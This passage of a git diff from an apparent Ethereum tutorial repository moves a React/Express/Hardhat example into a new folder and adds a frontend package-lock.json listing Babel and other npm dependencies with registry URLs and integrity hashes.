+    "compression": "^1.7.4",
+    "cors": "^2.8.5",
+    "express": "^4.17.1",
+    "helmet": "^4.6.0",
+    "knex": "^2.4.0",
+    "sqlite3": "^5.0.2"
+  }
+}
diff --git a/Example11-react-express-hardhat/backend/route.js b/basic/11-react-express-hardhat/backend/route.js
similarity index 100%
rename from Example11-react-express-hardhat/backend/route.js
rename to basic/11-react-express-hardhat/backend/route.js
diff --git a/Example06-ethersjs-waffle/contract/SimpleToken.sol b/basic/11-react-express-hardhat/contracts/SimpleToken.sol
similarity index 100%
rename from Example06-ethersjs-waffle/contract/SimpleToken.sol
rename to basic/11-react-express-hardhat/contracts/SimpleToken.sol
diff --git a/Example11-react-express-hardhat/frontend/.gitignore b/basic/11-react-express-hardhat/frontend/.gitignore
similarity index 100%
rename from Example11-react-express-hardhat/frontend/.gitignore
rename to basic/11-react-express-hardhat/frontend/.gitignore
diff --git a/Example11-react-express-hardhat/frontend/README.md b/basic/11-react-express-hardhat/frontend/README.md
similarity index 100%
rename from Example11-react-express-hardhat/frontend/README.md
rename to basic/11-react-express-hardhat/frontend/README.md
diff --git a/basic/11-react-express-hardhat/frontend/package-lock.json b/basic/11-react-express-hardhat/frontend/package-lock.json
new file mode 100644
index 000000000..37c02fbec
--- /dev/null
+++ b/basic/11-react-express-hardhat/frontend/package-lock.json
@@ -0,0 +1,17201 @@
+{
+  "name": "frontend",
+  "version": "0.1.0",
+  "lockfileVersion": 3,
+  "requires": true,
+  "packages": {
+    "": {
+      "version": "0.1.0",
+      "dependencies": {
+        "@testing-library/jest-dom": "^5.11.4",
+        "@testing-library/react": "^11.1.0",
+        "@testing-library/user-event": "^12.1.10",
+        "axios": "^1.6.0",
+        "bootstrap": "^5.0.1",
+        "react": "^17.0.2",
+        "react-bootstrap": "^1.6.1",
+        "react-dom": "^17.0.2",
+        "react-scripts": "5.0.1",
+        "web-vitals": "^1.0.1"
+      }
+    },
+    "node_modules/@ampproject/remapping": {
+      "version": "2.2.0",
+      "resolved": "https://registry.npmjs.org/@ampproject/remapping/-/remapping-2.2.0.tgz",
+      "integrity": "sha512-qRmjj8nj9qmLTQXXmaR1cck3UXSRMPrbsLJAasZpF+t3riI71BXed5ebIOYwQntykeZuhjsdweEc9BxH5Jc26w==",
+      "dependencies": {
+        "@jridgewell/gen-mapping": "^0.1.0",
+        "@jridgewell/trace-mapping": "^0.3.9"
+      },
+      "engines": {
+        "node": ">=6.0.0"
+      }
+    },
+    "node_modules/@apideck/better-ajv-errors": {
+      "version": "0.3.6",
+      "resolved": "https://registry.npmjs.org/@apideck/better-ajv-errors/-/better-ajv-errors-0.3.6.tgz",
+      "integrity": "sha512-P+ZygBLZtkp0qqOAJJVX4oX/sFo5JR3eBWwwuqHHhK0GIgQOKWrAfiAaWX0aArHkRWHMuggFEgAZNxVPwPZYaA==",
+      "dependencies": {
+        "json-schema": "^0.4.0",
+        "jsonpointer": "^5.0.0",
+        "leven": "^3.1.0"
+      },
+      "engines": {
+        "node": ">=10"
+      },
+      "peerDependencies": {
+        "ajv": ">=8"
+      }
+    },
+    "node_modules/@babel/code-frame": {
+      "version": "7.12.13",
+      "resolved": "https://registry.npm.taobao.org/@babel/code-frame/download/@babel/code-frame-7.12.13.tgz",
+      "integrity": "sha1-3PyCa+72XnXFDiHTg319lXmN1lg=",
+      "dependencies": {
+        "@babel/highlight": "^7.12.13"
+      }
+    },
+    "node_modules/@babel/compat-data": {
+      "version": "7.19.3",
+      "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.19.3.tgz",
+      "integrity": "sha512-prBHMK4JYYK+wDjJF1q99KK4JLL+egWS4nmNqdlMUgCExMZ+iZW0hGhyC3VEbsPjvaN0TBhW//VIFwBrk8sEiw==",
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/core": {
+      "version": "7.19.3",
+      "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.19.3.tgz",
+      "integrity": "sha512-WneDJxdsjEvyKtXKsaBGbDeiyOjR5vYq4HcShxnIbG0qixpoHjI3MqeZM9NDvsojNCEBItQE4juOo/bU6e72gQ==",
+      "peer": true,
+      "dependencies": {
+        "@ampproject/remapping": "^2.1.0",
+        "@babel/code-frame": "^7.18.6",
+        "@babel/generator": "^7.19.3",
+        "@babel/helper-compilation-targets": "^7.19.3",
+        "@babel/helper-module-transforms": "^7.19.0",
+        "@babel/helpers": "^7.19.0",
+        "@babel/parser": "^7.19.3",
+        "@babel/template": "^7.18.10",
+        "@babel/traverse": "^7.19.3",
+        "@babel/types": "^7.19.3",
+        "convert-source-map": "^1.7.0",
+        "debug": "^4.1.0",
+        "gensync": "^1.0.0-beta.2",
+        "json5": "^2.2.1",
+        "semver": "^6.3.0"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/babel"
+      }
+    },
+    "node_modules/@babel/core/node_modules/@babel/code-frame": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.18.6.tgz",
+      "integrity": "sha512-TDCmlK5eOvH+eH7cdAFlNXeVJqWIQ7gW9tY1GJIpUtFb6CmjVyq2VM3u71bOyR8CRihcCgMUYoDNyLXao3+70Q==",
+      "dependencies": {
+        "@babel/highlight": "^7.18.6"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/core/node_modules/@babel/helper-validator-identifier": {
+      "version": "7.19.1",
+      "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.19.1.tgz",
+      "integrity": "sha512-awrNfaMtnHUr653GgGEs++LlAvW6w+DcPrOliSMXWCKo597CwL5Acf/wWdNkf/tfEQE3mjkeD1YOVZOUV/od1w==",
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/core/node_modules/@babel/highlight": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.18.6.tgz",
+      "integrity": "sha512-u7stbOuYjaPezCuLj29hNW1v64M2Md2qupEKP1fHc7WdOA3DgLh37suiSrZYY7haUB7iBeQZ9P1uiRF359do3g==",
+      "dependencies": {
+        "@babel/helper-validator-identifier": "^7.18.6",
+        "chalk": "^2.0.0",
+        "js-tokens": "^4.0.0"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/core/node_modules/ansi-styles": {
+      "version": "3.2.1",
+      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz",
+      "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==",
+      "dependencies": {
+        "color-convert": "^1.9.0"
+      },
+      "engines": {
+        "node": ">=4"
+      }
+    },
+    "node_modules/@babel/core/node_modules/chalk": {
+      "version": "2.4.2",
+      "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz",
+      "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==",
+      "dependencies": {
+        "ansi-styles": "^3.2.1",
+        "escape-string-regexp": "^1.0.5",
+        "supports-color": "^5.3.0"
+      },
+      "engines": {
+        "node": ">=4"
+      }
+    },
+    "node_modules/@babel/core/node_modules/semver": {
+      "version": "6.3.1",
+      "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",
+      "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==",
+      "bin": {
+        "semver": "bin/semver.js"
+      }
+    },
+    "node_modules/@babel/core/node_modules/supports-color": {
+      "version": "5.5.0",
+      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz",
+      "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==",
+      "dependencies": {
+        "has-flag": "^3.0.0"
+      },
+      "engines": {
+        "node": ">=4"
+      }
+    },
+    "node_modules/@babel/eslint-parser": {
+      "version": "7.19.1",
+      "resolved": "https://registry.npmjs.org/@babel/eslint-parser/-/eslint-parser-7.19.1.tgz",
+      "integrity": "sha512-AqNf2QWt1rtu2/1rLswy6CDP7H9Oh3mMhk177Y67Rg8d7RD9WfOLLv8CGn6tisFvS2htm86yIe1yLF6I1UDaGQ==",
+      "dependencies": {
+        "@nicolo-ribaudo/eslint-scope-5-internals": "5.1.1-v1",
+        "eslint-visitor-keys": "^2.1.0",
+        "semver": "^6.3.0"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || >=14.0.0"
+      },
+      "peerDependencies": {
+        "@babel/core": ">=7.11.0",
+        "eslint": "^7.5.0 || ^8.0.0"
+      }
+    },
+    "node_modules/@babel/eslint-parser/node_modules/eslint-visitor-keys": {
+      "version": "2.1.0",
+      "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-2.1.0.tgz",
+      "integrity": "sha512-0rSmRBzXgDzIsD6mGdJgevzgezI534Cer5L/vyMX0kHzT/jiB43jRhd9YUlMGYLQy2zprNmoT8qasCGtY+QaKw==",
+      "engines": {
+        "node": ">=10"
+      }
+    },
+    "node_modules/@babel/eslint-parser/node_modules/semver": {
+      "version": "6.3.1",
+      "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",
+      "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==",
+      "bin": {
+        "semver": "bin/semver.js"
+      }
+    },
+    "node_modules/@babel/generator": {
+      "version": "7.19.3",
+      "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.19.3.tgz",
+      "integrity": "sha512-fqVZnmp1ncvZU757UzDheKZpfPgatqY59XtW2/j/18H7u76akb8xqvjw82f+i2UKd/ksYsSick/BCLQUUtJ/qQ==",
+      "dependencies": {
+        "@babel/types": "^7.19.3",
+        "@jridgewell/gen-mapping": "^0.3.2",
+        "jsesc": "^2.5.1"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/generator/node_modules/@jridgewell/gen-mapping": {
+      "version": "0.3.2",
+      "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.2.tgz",
+      "integrity": "sha512-mh65xKQAzI6iBcFzwv28KVWSmCkdRBWoOh+bYQGW3+6OZvbbN3TqMGo5hqYxQniRcH9F2VZIoJCm4pa3BPDK/A==",
+      "dependencies": {
+        "@jridgewell/set-array": "^1.0.1",
+        "@jridgewell/sourcemap-codec": "^1.4.10",
+        "@jridgewell/trace-mapping": "^0.3.9"
+      },
+      "engines": {
+        "node": ">=6.0.0"
+      }
+    },
+    "node_modules/@babel/helper-annotate-as-pure": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/helper-annotate-as-pure/-/helper-annotate-as-pure-7.18.6.tgz",
+      "integrity": "sha512-duORpUiYrEpzKIop6iNbjnwKLAKnJ47csTyRACyEmWj0QdUrm5aqNJGHSSEQSUAvNW0ojX0dOmK9dZduvkfeXA==",
+      "dependencies": {
+        "@babel/types": "^7.18.6"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/helper-builder-binary-assignment-operator-visitor": {
+      "version": "7.18.9",
+      "resolved": "https://registry.npmjs.org/@babel/helper-builder-binary-assignment-operator-visitor/-/helper-builder-binary-assignment-operator-visitor-7.18.9.tgz",
+      "integrity": "sha512-yFQ0YCHoIqarl8BCRwBL8ulYUaZpz3bNsA7oFepAzee+8/+ImtADXNOmO5vJvsPff3qi+hvpkY/NYBTrBQgdNw==",
+      "dependencies": {
+        "@babel/helper-explode-assignable-expression": "^7.18.6",
+        "@babel/types": "^7.18.9"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/helper-compilation-targets": {
+      "version": "7.19.3",
+      "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.19.3.tgz",
+      "integrity": "sha512-65ESqLGyGmLvgR0mst5AdW1FkNlj9rQsCKduzEoEPhBCDFGXvz2jW6bXFG6i0/MrV2s7hhXjjb2yAzcPuQlLwg==",
+      "dependencies": {
+        "@babel/compat-data": "^7.19.3",
+        "@babel/helper-validator-option": "^7.18.6",
+        "browserslist": "^4.21.3",
+        "semver": "^6.3.0"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0"
+      }
+    },
+    "node_modules/@babel/helper-compilation-targets/node_modules/semver": {
+      "version": "6.3.1",
+      "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",
+      "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==",
+      "bin": {
+        "semver": "bin/semver.js"
+      }
+    },
+    "node_modules/@babel/helper-create-class-features-plugin": {
+      "version": "7.19.0",
+      "resolved": "https://registry.npmjs.org/@babel/helper-create-class-features-plugin/-/helper-create-class-features-plugin-7.19.0.tgz",
+      "integrity": "sha512-NRz8DwF4jT3UfrmUoZjd0Uph9HQnP30t7Ash+weACcyNkiYTywpIjDBgReJMKgr+n86sn2nPVVmJ28Dm053Kqw==",
+      "dependencies": {
+        "@babel/helper-annotate-as-pure": "^7.18.6",
+        "@babel/helper-environment-visitor": "^7.18.9",
+        "@babel/helper-function-name": "^7.19.0",
+        "@babel/helper-member-expression-to-functions": "^7.18.9",
+        "@babel/helper-optimise-call-expression": "^7.18.6",
+        "@babel/helper-replace-supers": "^7.18.9",
+        "@babel/helper-split-export-declaration": "^7.18.6"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0"
+      }
+    },
+    "node_modules/@babel/helper-create-regexp-features-plugin": {
+      "version": "7.19.0",
+      "resolved": "https://registry.npmjs.org/@babel/helper-create-regexp-features-plugin/-/helper-create-regexp-features-plugin-7.19.0.tgz",
+      "integrity": "sha512-htnV+mHX32DF81amCDrwIDr8nrp1PTm+3wfBN9/v8QJOLEioOCOG7qNyq0nHeFiWbT3Eb7gsPwEmV64UCQ1jzw==",
+      "dependencies": {
+        "@babel/helper-annotate-as-pure": "^7.18.6",
+        "regexpu-core": "^5.1.0"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0"
+      }
+    },
+    "node_modules/@babel/helper-define-polyfill-provider": {
+      "version": "0.3.3",
+      "resolved": "https://registry.npmjs.org/@babel/helper-define-polyfill-provider/-/helper-define-polyfill-provider-0.3.3.tgz",
+      "integrity": "sha512-z5aQKU4IzbqCC1XH0nAqfsFLMVSo22SBKUc0BxGrLkolTdPTructy0ToNnlO2zA4j9Q/7pjMZf0DSY+DSTYzww==",
+      "dependencies": {
+        "@babel/helper-compilation-targets": "^7.17.7",
+        "@babel/helper-plugin-utils": "^7.16.7",
+        "debug": "^4.1.1",
+        "lodash.debounce": "^4.0.8",
+        "resolve": "^1.14.2",
+        "semver": "^6.1.2"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.4.0-0"
+      }
+    },
+    "node_modules/@babel/helper-define-polyfill-provider/node_modules/semver": {
+      "version": "6.3.1",
+      "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",
+      "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==",
+      "bin": {
+        "semver": "bin/semver.js"
+      }
+    },
+    "node_modules/@babel/helper-environment-visitor": {
+      "version": "7.18.9",
+      "resolved": "https://registry.npmjs.org/@babel/helper-environment-visitor/-/helper-environment-visitor-7.18.9.tgz",
+      "integrity": "sha512-3r/aACDJ3fhQ/EVgFy0hpj8oHyHpQc+LPtJoY9SzTThAsStm4Ptegq92vqKoE3vD706ZVFWITnMnxucw+S9Ipg==",
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/helper-explode-assignable-expression": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/helper-explode-assignable-expression/-/helper-explode-assignable-expression-7.18.6.tgz",
+      "integrity": "sha512-eyAYAsQmB80jNfg4baAtLeWAQHfHFiR483rzFK+BhETlGZaQC9bsfrugfXDCbRHLQbIA7U5NxhhOxN7p/dWIcg==",
+      "dependencies": {
+        "@babel/types": "^7.18.6"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/helper-function-name": {
+      "version": "7.19.0",
+      "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.19.0.tgz",
+      "integrity": "sha512-WAwHBINyrpqywkUH0nTnNgI5ina5TFn85HKS0pbPDfxFfhyR/aNQEn4hGi1P1JyT//I0t4OgXUlofzWILRvS5w==",
+      "dependencies": {
+        "@babel/template": "^7.18.10",
+        "@babel/types": "^7.19.0"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/helper-hoist-variables": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/helper-hoist-variables/-/helper-hoist-variables-7.18.6.tgz",
+      "integrity": "sha512-UlJQPkFqFULIcyW5sbzgbkxn2FKRgwWiRexcuaR8RNJRy8+LLveqPjwZV/bwrLZCN0eUHD/x8D0heK1ozuoo6Q==",
+      "dependencies": {
+        "@babel/types": "^7.18.6"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/helper-member-expression-to-functions": {
+      "version": "7.18.9",
+      "resolved": "https://registry.npmjs.org/@babel/helper-member-expression-to-functions/-/helper-member-expression-to-functions-7.18.9.tgz",
+      "integrity": "sha512-RxifAh2ZoVU67PyKIO4AMi1wTenGfMR/O/ae0CCRqwgBAt5v7xjdtRw7UoSbsreKrQn5t7r89eruK/9JjYHuDg==",
+      "dependencies": {
+        "@babel/types": "^7.18.9"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/helper-module-imports": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.18.6.tgz",
+      "integrity": "sha512-0NFvs3VkuSYbFi1x2Vd6tKrywq+z/cLeYC/RJNFrIX/30Bf5aiGYbtvGXolEktzJH8o5E5KJ3tT+nkxuuZFVlA==",
+      "dependencies": {
+        "@babel/types": "^7.18.6"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/helper-module-transforms": {
+      "version": "7.19.0",
+      "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.19.0.tgz",
+      "integrity": "sha512-3HBZ377Fe14RbLIA+ac3sY4PTgpxHVkFrESaWhoI5PuyXPBBX8+C34qblV9G89ZtycGJCmCI/Ut+VUDK4bltNQ==",
+      "dependencies": {
+        "@babel/helper-environment-visitor": "^7.18.9",
+        "@babel/helper-module-imports": "^7.18.6",
+        "@babel/helper-simple-access": "^7.18.6",
+        "@babel/helper-split-export-declaration": "^7.18.6",
+        "@babel/helper-validator-identifier": "^7.18.6",
+        "@babel/template": "^7.18.10",
+        "@babel/traverse": "^7.19.0",
+        "@babel/types": "^7.19.0"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/helper-module-transforms/node_modules/@babel/helper-validator-identifier": {
+      "version": "7.19.1",
+      "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.19.1.tgz",
+      "integrity": "sha512-awrNfaMtnHUr653GgGEs++LlAvW6w+DcPrOliSMXWCKo597CwL5Acf/wWdNkf/tfEQE3mjkeD1YOVZOUV/od1w==",
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/helper-optimise-call-expression": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/helper-optimise-call-expression/-/helper-optimise-call-expression-7.18.6.tgz",
+      "integrity": "sha512-HP59oD9/fEHQkdcbgFCnbmgH5vIQTJbxh2yf+CdM89/glUNnuzr87Q8GIjGEnOktTROemO0Pe0iPAYbqZuOUiA==",
+      "dependencies": {
+        "@babel/types": "^7.18.6"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/helper-plugin-utils": {
+      "version": "7.19.0",
+      "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.19.0.tgz",
+      "integrity": "sha512-40Ryx7I8mT+0gaNxm8JGTZFUITNqdLAgdg0hXzeVZxVD6nFsdhQvip6v8dqkRHzsz1VFpFAaOCHNn0vKBL7Czw==",
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/helper-remap-async-to-generator": {
+      "version": "7.18.9",
+      "resolved": "https://registry.npmjs.org/@babel/helper-remap-async-to-generator/-/helper-remap-async-to-generator-7.18.9.tgz",
+      "integrity": "sha512-dI7q50YKd8BAv3VEfgg7PS7yD3Rtbi2J1XMXaalXO0W0164hYLnh8zpjRS0mte9MfVp/tltvr/cfdXPvJr1opA==",
+      "dependencies": {
+        "@babel/helper-annotate-as-pure": "^7.18.6",
+        "@babel/helper-environment-visitor": "^7.18.9",
+        "@babel/helper-wrap-function": "^7.18.9",
+        "@babel/types": "^7.18.9"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0"
+      }
+    },
+    "node_modules/@babel/helper-replace-supers": {
+      "version": "7.19.1",
+      "resolved": "https://registry.npmjs.org/@babel/helper-replace-supers/-/helper-replace-supers-7.19.1.tgz",
+      "integrity": "sha512-T7ahH7wV0Hfs46SFh5Jz3s0B6+o8g3c+7TMxu7xKfmHikg7EAZ3I2Qk9LFhjxXq8sL7UkP5JflezNwoZa8WvWw==",
+      "dependencies": {
+        "@babel/helper-environment-visitor": "^7.18.9",
+        "@babel/helper-member-expression-to-functions": "^7.18.9",
+        "@babel/helper-optimise-call-expression": "^7.18.6",
+        "@babel/traverse": "^7.19.1",
+        "@babel/types": "^7.19.0"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/helper-simple-access": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/helper-simple-access/-/helper-simple-access-7.18.6.tgz",
+      "integrity": "sha512-iNpIgTgyAvDQpDj76POqg+YEt8fPxx3yaNBg3S30dxNKm2SWfYhD0TGrK/Eu9wHpUW63VQU894TsTg+GLbUa1g==",
+      "dependencies": {
+        "@babel/types": "^7.18.6"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/helper-skip-transparent-expression-wrappers": {
+      "version": "7.18.9",
+      "resolved": "https://registry.npmjs.org/@babel/helper-skip-transparent-expression-wrappers/-/helper-skip-transparent-expression-wrappers-7.18.9.tgz",
+      "integrity": "sha512-imytd2gHi3cJPsybLRbmFrF7u5BIEuI2cNheyKi3/iOBC63kNn3q8Crn2xVuESli0aM4KYsyEqKyS7lFL8YVtw==",
+      "dependencies": {
+        "@babel/types": "^7.18.9"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/helper-split-export-declaration": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.18.6.tgz",
+      "integrity": "sha512-bde1etTx6ZyTmobl9LLMMQsaizFVZrquTEHOqKeQESMKo4PlObf+8+JA25ZsIpZhT/WEd39+vOdLXAFG/nELpA==",
+      "dependencies": {
+        "@babel/types": "^7.18.6"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/helper-string-parser": {
+      "version": "7.18.10",
+      "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.18.10.tgz",
+      "integrity": "sha512-XtIfWmeNY3i4t7t4D2t02q50HvqHybPqW2ki1kosnvWCwuCMeo81Jf0gwr85jy/neUdg5XDdeFE/80DXiO+njw==",
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/helper-validator-identifier": {
+      "version": "7.14.0",
+      "resolved": "https://registry.nlark.com/@babel/helper-validator-identifier/download/@babel/helper-validator-identifier-7.14.0.tgz?cache=0&sync_timestamp=1619727430134&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fhelper-validator-identifier%2Fdownload%2F%40babel%2Fhelper-validator-identifier-7.14.0.tgz",
+      "integrity": "sha1-0mytikfGUoaxXfFUcxml0Lzycog="
+    },
+    "node_modules/@babel/helper-validator-option": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.18.6.tgz",
+      "integrity": "sha512-XO7gESt5ouv/LRJdrVjkShckw6STTaB7l9BrpBaAHDeF5YZT+01PCwmR0SJHnkW6i8OwW/EVWRShfi4j2x+KQw==",
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/helper-wrap-function": {
+      "version": "7.19.0",
+      "resolved": "https://registry.npmjs.org/@babel/helper-wrap-function/-/helper-wrap-function-7.19.0.tgz",
+      "integrity": "sha512-txX8aN8CZyYGTwcLhlk87KRqncAzhh5TpQamZUa0/u3an36NtDpUP6bQgBCBcLeBs09R/OwQu3OjK0k/HwfNDg==",
+      "dependencies": {
+        "@babel/helper-function-name": "^7.19.0",
+        "@babel/template": "^7.18.10",
+        "@babel/traverse": "^7.19.0",
+        "@babel/types": "^7.19.0"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/helpers": {
+      "version": "7.19.0",
+      "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.19.0.tgz",
+      "integrity": "sha512-DRBCKGwIEdqY3+rPJgG/dKfQy9+08rHIAJx8q2p+HSWP87s2HCrQmaAMMyMll2kIXKCW0cO1RdQskx15Xakftg==",
+      "dependencies": {
+        "@babel/template": "^7.18.10",
+        "@babel/traverse": "^7.19.0",
+        "@babel/types": "^7.19.0"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/highlight": {
+      "version": "7.14.0",
+      "resolved": "https://registry.nlark.com/@babel/highlight/download/@babel/highlight-7.14.0.tgz?cache=0&sync_timestamp=1619727045820&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fhighlight%2Fdownload%2F%40babel%2Fhighlight-7.14.0.tgz",
+      "integrity": "sha1-MZfjdXEe9r+DTmfQ2uyI5PRhE88=",
+      "dependencies": {
+        "@babel/helper-validator-identifier": "^7.14.0",
+        "chalk": "^2.0.0",
+        "js-tokens": "^4.0.0"
+      }
+    },
+    "node_modules/@babel/highlight/node_modules/ansi-styles": {
+      "version": "3.2.1",
+      "resolved": "https://registry.nlark.com/ansi-styles/download/ansi-styles-3.2.1.tgz",
+      "integrity": "sha1-QfuyAkPlCxK+DwS43tvwdSDOhB0=",
+      "dependencies": {
+        "color-convert": "^1.9.0"
+      },
+      "engines": {
+        "node": ">=4"
+      }
+    },
+    "node_modules/@babel/highlight/node_modules/chalk": {
+      "version": "2.4.2",
+      "resolved": "https://registry.nlark.com/chalk/download/chalk-2.4.2.tgz?cache=0&sync_timestamp=1618995384030&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fchalk%2Fdownload%2Fchalk-2.4.2.tgz",
+      "integrity": "sha1-zUJUFnelQzPPVBpJEIwUMrRMlCQ=",
+      "dependencies": {
+        "ansi-styles": "^3.2.1",
+        "escape-string-regexp": "^1.0.5",
+        "supports-color": "^5.3.0"
+      },
+      "engines": {
+        "node": ">=4"
+      }
+    },
+    "node_modules/@babel/highlight/node_modules/escape-string-regexp": {
+      "version": "1.0.5",
+      "resolved": "https://registry.npm.taobao.org/escape-string-regexp/download/escape-string-regexp-1.0.5.tgz?cache=0&sync_timestamp=1618677309735&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fescape-string-regexp%2Fdownload%2Fescape-string-regexp-1.0.5.tgz",
+      "integrity": "sha1-G2HAViGQqN/2rjuyzwIAyhMLhtQ=",
+      "engines": {
+        "node": ">=0.8.0"
+      }
+    },
+    "node_modules/@babel/highlight/node_modules/supports-color": {
+      "version": "5.5.0",
+      "resolved": "https://registry.nlark.com/supports-color/download/supports-color-5.5.0.tgz?cache=0&sync_timestamp=1622293630895&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fsupports-color%2Fdownload%2Fsupports-color-5.5.0.tgz",
+      "integrity": "sha1-4uaaRKyHcveKHsCzW2id9lMO/I8=",
+      "dependencies": {
+        "has-flag": "^3.0.0"
+      },
+      "engines": {
+        "node": ">=4"
+      }
+    },
+    "node_modules/@babel/parser": {
+      "version": "7.19.3",
+      "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.19.3.tgz",
+      "integrity": "sha512-pJ9xOlNWHiy9+FuFP09DEAFbAn4JskgRsVcc169w2xRBC3FRGuQEwjeIMMND9L2zc0iEhO/tGv4Zq+km+hxNpQ==",
